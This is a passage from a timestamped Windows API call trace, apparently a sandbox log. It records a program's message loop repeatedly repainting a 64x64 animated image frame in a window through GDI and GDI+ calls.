x=0, y=0, cx=64, cy=64, hdcSrc=0x18010b93, x1=0, y1=0, rop=0xcc0020) returned 1 [0153.519] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.519] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x18010b93) returned 0x0 [0153.519] SelectObject (hdc=0x18010b93, h=0x185000f) returned 0x1a05067e [0153.519] DeleteDC (hdc=0x18010b93) returned 1 [0153.519] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.519] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0153.519] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0153.519] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0153.519] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0153.519] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0153.520] WaitMessage () returned 1 [0153.717] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0153.717] IsWindowUnicode (hWnd=0x2031e) returned 1 [0153.717] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0153.717] TranslateMessage (lpMsg=0x15e910) returned 0 [0153.717] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0153.717] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0153.718] GetCurrentThreadId () returned 0xec0 [0153.718] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0153.718] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0153.718] IsWindowUnicode (hWnd=0x2031e) returned 1 [0153.718] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0153.718] TranslateMessage (lpMsg=0x15e910) returned 0 [0153.718] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0153.718] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0153.718] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0153.718] CreateCompatibleDC (hdc=0x3010b83) returned 0x4a010b82 [0153.718] SelectObject (hdc=0x4a010b82, h=0x1a05067e) returned 0x185000f [0153.719] GdipCreateFromHDC (hdc=0x4a010b82, graphics=0x15daf0) returned 0x0 [0153.719] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0153.719] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0153.719] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0153.719] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0153.719] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0153.719] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0153.719] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0153.720] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0153.720] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.720] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0153.720] GdipCreateRegion (region=0x15dc20) returned 0x0 [0153.720] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0153.720] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0153.720] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0153.720] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0153.720] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0153.720] GetSystemMetrics (nIndex=42) returned 0 [0153.720] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0153.720] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0153.720] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0153.721] CoTaskMemFree (pv=0x1e91eca0) [0153.721] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0153.721] GdipCreateRegion (region=0x15d710) returned 0x0 [0153.721] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0153.721] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0153.721] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0153.721] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0153.721] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0153.721] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0153.722] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0153.722] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0153.722] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0153.722] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0153.722] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0153.722] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.722] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0153.722] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0153.723] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0153.723] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0153.723] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.723] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0153.723] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0153.723] GetCurrentObject (hdc=0x4a010b82, type=0x1) returned 0x1b00017 [0153.723] GetCurrentObject (hdc=0x4a010b82, type=0x2) returned 0x1900010 [0153.723] GetCurrentObject (hdc=0x4a010b82, type=0x7) returned 0x1a05067e [0153.723] GetCurrentObject (hdc=0x4a010b82, type=0x6) returned 0x18a002e [0153.723] SaveDC (hdc=0x4a010b82) returned 1 [0153.723] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffd3040b8a [0153.723] GetClipRgn (hdc=0x4a010b82, hrgn=0xffffffffd3040b8a) returned 0 [0153.724] SelectClipRgn (hdc=0x4a010b82, hrgn=0x30407c3) returned 2 [0153.724] DeleteObject (ho=0xffffffffd3040b8a) returned 1 [0153.724] DeleteObject (ho=0x30407c3) returned 1 [0153.724] OffsetViewportOrgEx (in: hdc=0x4a010b82, x=0, y=0, lppt=0x2705d60 | out: lppt=0x2705d60) returned 1 [0153.724] GetNearestColor (hdc=0x4a010b82, color=0xffffff) returned 0xffffff [0153.724] CreateSolidBrush (color=0xffffff) returned 0xffffffffdb100190 [0153.724] FillRect (hDC=0x4a010b82, lprc=0x15d7c0, hbr=0xffffffffdb100190) returned 1 [0153.724] DeleteObject (ho=0xffffffffdb100190) returned 1 [0153.724] RestoreDC (hdc=0x4a010b82, nSavedDC=-1) returned 1 [0153.724] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.724] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4a010b82) returned 0x0 [0153.724] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc300dbd) returned 0x0 [0153.724] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.725] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0153.725] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0153.725] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0153.725] GetSystemMetrics (nIndex=42) returned 0 [0153.725] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0153.725] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0153.725] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0153.725] CoTaskMemFree (pv=0x1e91eca0) [0153.725] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xe) returned 0x0 [0153.727] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0153.727] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0153.727] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0153.728] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0153.728] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x4a010b82, x1=0, y1=0, rop=0xcc0020) returned 1 [0153.728] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.728] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4a010b82) returned 0x0 [0153.728] SelectObject (hdc=0x4a010b82, h=0x185000f) returned 0x1a05067e [0153.728] DeleteDC (hdc=0x4a010b82) returned 1 [0153.728] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.728] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0153.728] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0153.728] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0153.729] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0153.729] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0153.729] WaitMessage () returned 1 [0154.174] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0154.174] IsWindowUnicode (hWnd=0x2031e) returned 1 [0154.174] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0154.174] TranslateMessage (lpMsg=0x15e910) returned 0 [0154.174] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0154.174] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0154.174] GetCurrentThreadId () returned 0xec0 [0154.174] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0154.174] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0154.175] IsWindowUnicode (hWnd=0x2031e) returned 1 [0154.175] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0154.175] TranslateMessage (lpMsg=0x15e910) returned 0 [0154.175] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0154.175] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0154.175] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0154.175] CreateCompatibleDC (hdc=0x3010b83) returned 0x7f010b8d [0154.175] SelectObject (hdc=0x7f010b8d, h=0x1a05067e) returned 0x185000f [0154.175] GdipCreateFromHDC (hdc=0x7f010b8d, graphics=0x15daf0) returned 0x0 [0154.175] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0154.175] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0154.176] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0154.176] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0154.176] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0154.176] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0154.176] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0154.176] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0154.176] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.177] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0154.177] GdipCreateRegion (region=0x15dc20) returned 0x0 [0154.177] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0154.177] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0154.177] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0154.177] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0154.177] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.177] GetSystemMetrics (nIndex=42) returned 0 [0154.177] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0154.177] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0154.177] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0154.177] CoTaskMemFree (pv=0x1e91eca0) [0154.177] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0154.178] GdipCreateRegion (region=0x15d710) returned 0x0 [0154.178] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0154.178] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0154.178] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0154.178] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0154.178] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0154.178] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0154.178] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0154.179] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0154.179] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0154.179] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0154.179] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0154.179] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.179] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0154.179] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0154.179] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0154.179] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0154.179] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.180] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0154.180] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0154.180] GetCurrentObject (hdc=0x7f010b8d, type=0x1) returned 0x1b00017 [0154.180] GetCurrentObject (hdc=0x7f010b8d, type=0x2) returned 0x1900010 [0154.180] GetCurrentObject (hdc=0x7f010b8d, type=0x7) returned 0x1a05067e [0154.180] GetCurrentObject (hdc=0x7f010b8d, type=0x6) returned 0x18a002e [0154.180] SaveDC (hdc=0x7f010b8d) returned 1 [0154.180] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x40407c3 [0154.180] GetClipRgn (hdc=0x7f010b8d, hrgn=0x40407c3) returned 0 [0154.180] SelectClipRgn (hdc=0x7f010b8d, hrgn=0xffffffffd4040b8a) returned 2 [0154.180] DeleteObject (ho=0x40407c3) returned 1 [0154.180] DeleteObject (ho=0xffffffffd4040b8a) returned 1 [0154.180] OffsetViewportOrgEx (in: hdc=0x7f010b8d, x=0, y=0, lppt=0x2707018 | out: lppt=0x2707018) returned 1 [0154.181] GetNearestColor (hdc=0x7f010b8d, color=0xffffff) returned 0xffffff [0154.181] CreateSolidBrush (color=0xffffff) returned 0xffffffffdc100190 [0154.181] FillRect (hDC=0x7f010b8d, lprc=0x15d7c0, hbr=0xffffffffdc100190) returned 1 [0154.181] DeleteObject (ho=0xffffffffdc100190) returned 1 [0154.181] RestoreDC (hdc=0x7f010b8d, nSavedDC=-1) returned 1 [0154.181] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.181] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x7f010b8d) returned 0x0 [0154.181] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc2e0dbd) returned 0x0 [0154.181] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.181] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0154.181] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0154.181] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.181] GetSystemMetrics (nIndex=42) returned 0 [0154.181] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0154.181] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0154.182] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0154.182] CoTaskMemFree (pv=0x1e91eca0) [0154.182] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0154.182] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0154.182] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0154.182] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0154.182] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x7f010b8d, x1=0, y1=0, rop=0xcc0020) returned 1 [0154.182] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.182] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x7f010b8d) returned 0x0 [0154.182] SelectObject (hdc=0x7f010b8d, h=0x185000f) returned 0x1a05067e [0154.182] DeleteDC (hdc=0x7f010b8d) returned 1 [0154.182] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.182] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0154.183] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0154.183] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0154.183] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0154.183] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0154.183] WaitMessage () returned 1 [0154.429] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0154.429] IsWindowUnicode (hWnd=0x2031e) returned 1 [0154.429] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0154.429] TranslateMessage (lpMsg=0x15e910) returned 0 [0154.429] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0154.429] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0154.429] GetCurrentThreadId () returned 0xec0 [0154.429] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0154.430] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0154.430] IsWindowUnicode (hWnd=0x2031e) returned 1 [0154.430] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0154.430] TranslateMessage (lpMsg=0x15e910) returned 0 [0154.430] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0154.430] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0154.430] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0154.430] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff85010b91 [0154.430] SelectObject (hdc=0xffffffff85010b91, h=0x1a05067e) returned 0x185000f [0154.430] GdipCreateFromHDC (hdc=0xffffffff85010b91, graphics=0x15daf0) returned 0x0 [0154.430] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0154.431] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0154.431] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0154.431] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0154.431] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0154.431] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0154.431] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0154.431] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0154.432] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.432] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0154.432] GdipCreateRegion (region=0x15dc20) returned 0x0 [0154.432] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0154.432] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0154.432] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0154.432] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0154.432] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.432] GetSystemMetrics (nIndex=42) returned 0 [0154.432] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0154.432] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0154.432] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0154.432] CoTaskMemFree (pv=0x1e91eca0) [0154.433] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0154.433] GdipCreateRegion (region=0x15d710) returned 0x0 [0154.433] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0154.433] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0154.433] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0154.433] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0154.433] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0154.433] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0154.434] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0154.434] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0154.434] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0154.434] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0154.435] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0154.435] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.435] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0154.435] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0154.435] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0154.435] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0154.435] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.435] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0154.435] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0154.436] GetCurrentObject (hdc=0xffffffff85010b91, type=0x1) returned 0x1b00017 [0154.436] GetCurrentObject (hdc=0xffffffff85010b91, type=0x2) returned 0x1900010 [0154.436] GetCurrentObject (hdc=0xffffffff85010b91, type=0x7) returned 0x1a05067e [0154.436] GetCurrentObject (hdc=0xffffffff85010b91, type=0x6) returned 0x18a002e [0154.436] SaveDC (hdc=0xffffffff85010b91) returned 1 [0154.436] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffd5040b8a [0154.436] GetClipRgn (hdc=0xffffffff85010b91, hrgn=0xffffffffd5040b8a) returned 0 [0154.436] SelectClipRgn (hdc=0xffffffff85010b91, hrgn=0x50407c3) returned 2 [0154.436] DeleteObject (ho=0xffffffffd5040b8a) returned 1 [0154.436] DeleteObject (ho=0x50407c3) returned 1 [0154.436] OffsetViewportOrgEx (in: hdc=0xffffffff85010b91, x=0, y=0, lppt=0x2707950 | out: lppt=0x2707950) returned 1 [0154.436] GetNearestColor (hdc=0xffffffff85010b91, color=0xffffff) returned 0xffffff [0154.436] CreateSolidBrush (color=0xffffff) returned 0xffffffffdd100190 [0154.437] FillRect (hDC=0xffffffff85010b91, lprc=0x15d7c0, hbr=0xffffffffdd100190) returned 1 [0154.437] DeleteObject (ho=0xffffffffdd100190) returned 1 [0154.437] RestoreDC (hdc=0xffffffff85010b91, nSavedDC=-1) returned 1 [0154.437] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.437] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff85010b91) returned 0x0 [0154.437] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc2c0dbd) returned 0x0 [0154.437] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0154.437] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0154.437] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0154.437] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.437] GetSystemMetrics (nIndex=42) returned 0 [0154.437] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0154.437] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0154.437] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0154.437] CoTaskMemFree (pv=0x1e91eca0) [0154.437] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, 